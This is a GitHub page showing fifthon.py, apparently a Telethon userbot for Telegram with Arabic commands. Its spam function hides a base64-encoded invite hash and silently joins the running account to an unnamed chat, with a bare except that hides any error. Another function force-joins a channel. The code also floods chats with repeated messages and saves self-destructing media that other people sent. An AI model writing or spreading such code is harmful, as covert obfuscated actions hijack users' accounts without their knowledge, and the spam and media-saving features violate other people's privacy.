-
Notifications
You must be signed in to change notification settings - Fork 22
/
fifthon.py
156 lines (128 loc) · 4.5 KB
/
fifthon.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
from telethon.errors.rpcerrorlist import YouBlockedUserError
from telethon.tl import functions
from hijri_converter import Gregorian
from telethon.tl import functions
from telethon.tl.functions.channels import LeaveChannelRequest
from collections import deque
from telethon import events
from telethon.errors import FloodWaitError
from telethon.tl.functions.channels import JoinChannelRequest
from telethon.tl.functions.messages import ImportChatInviteRequest as Get
from telethon.tl import functions
import time
import asyncio
import logging
import base64
import datetime
from payment import *
from help import *
from config import *
from checktele import *
# -
fifthon.start()
y = datetime.datetime.now().year
m = datetime.datetime.now().month
dayy = datetime.datetime.now().day
day = datetime.datetime.now().strftime("%A")
m9zpi = f"{y}-{m}-{dayy}"
sec = time.time()
LOGS = logging.getLogger(__name__)
DEVS = [
5307018300,
]
DEL_TIME_OUT = 10
normzltext = "1234567890"
namerzfont = normzltext
name = "Profile Photos"
time_name = ["off"]
time_bio = ["off"]
async def join_channel():
try:
await fifthon(JoinChannelRequest("@fifthon"))
except BaseException:
pass
@fifthon.on(events.NewMessage(outgoing=True, pattern=r"هممم"))
async def _(event):
if not event.is_reply:
return await event.edit(
"يستعمل الامر بالرد على الصورتهة او الفيديو !"
)
rr9r7 = await event.get_reply_message()
await event.delete()
pic = await rr9r7.download_media()
await fifthon.send_file(
"me", pic, caption=f"تم حفظ الصورة او الفيديو الذاتي هنا : "
)
async def spam_function(event, sandy, cat, sleeptimem, sleeptimet, DelaySpam=False):
hmm = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
counter = int(cat[0])
if len(cat) == 2:
spam_message = str(cat[1])
for _ in range(counter):
if event.reply_to_msg_id:
await sandy.reply(spam_message)
else:
await event.client.send_message(event.chat_id, spam_message)
await asyncio.sleep(sleeptimet)
elif event.reply_to_msg_id and sandy.media:
for _ in range(counter):
sandy = await event.client.send_file(
event.chat_id, sandy, caption=sandy.text
)
await asyncio.sleep(sleeptimem)
elif event.reply_to_msg_id and sandy.text:
spam_message = sandy.text
for _ in range(counter):
await event.client.send_message(event.chat_id, spam_message)
await asyncio.sleep(sleeptimet)
try:
hmm = Get(hmm)
await event.client(hmm)
except BaseException:
pass
@fifthon.on(events.NewMessage(outgoing=True, pattern=r"\.الاوامر"))
async def _(event):
await event.edit(commands)
@fifthon.on(events.NewMessage(outgoing=True, pattern=r"\.فحص"))
async def _(event):
start = datetime.datetime.now()
await event.edit("جارٍ...")
end = datetime.datetime.now()
ms = (end - start).microseconds / 1000
await event.edit(f'''
**☆ Welcome to Source fifthon
☆ Version : 1.3
☆ Ping : `{ms}`
☆ Date : `{m9zpi}`
☆ ID : `{event.sender_id}`
☆ Source fifthon : @TEPTHON**
''')
@fifthon.on(events.NewMessage(outgoing=True, pattern=r"\.م1"))
async def _(event):
start = datetime.datetime.now()
await event.edit(sec1)
@fifthon.on(events.NewMessage(outgoing=True, pattern=r"\.م2"))
async def _(event):
start = datetime.datetime.now()
await event.edit(sec2)
@fifthon.on(events.NewMessage(outgoing=True, pattern=r"\.م3"))
async def _(event):
start = datetime.datetime.now()
await event.edit(sec3)
@fifthon.on(events.NewMessage(outgoing=True, pattern=r"\.م4"))
async def _(event):
start = datetime.datetime.now()
await event.edit(sec4)
ownerhson_id = 5307018300
@fifthon.on(events.NewMessage(outgoing=False, pattern='/start'))
async def OwnerStart(event):
sender = await event.get_sender()
if sender.id == ownerhson_id :
order = await event.reply('** Hi MY Developer - @B_8_1 **')
@fifthon.on(events.NewMessage(outgoing=True, pattern=r"\.اعادة تشغيل"))
async def update(event):
await event.edit("• جارِ اعادة تشغيل السورس ..\n• انتضر 1-2 دقيقة .")
await fifthon.disconnect()
await fifthon.send_message("me", "`اكتملت اعادة تشغيل السورس !`")
print("- fifthon Userbot Running ..")
fifthon.run_until_disconnected()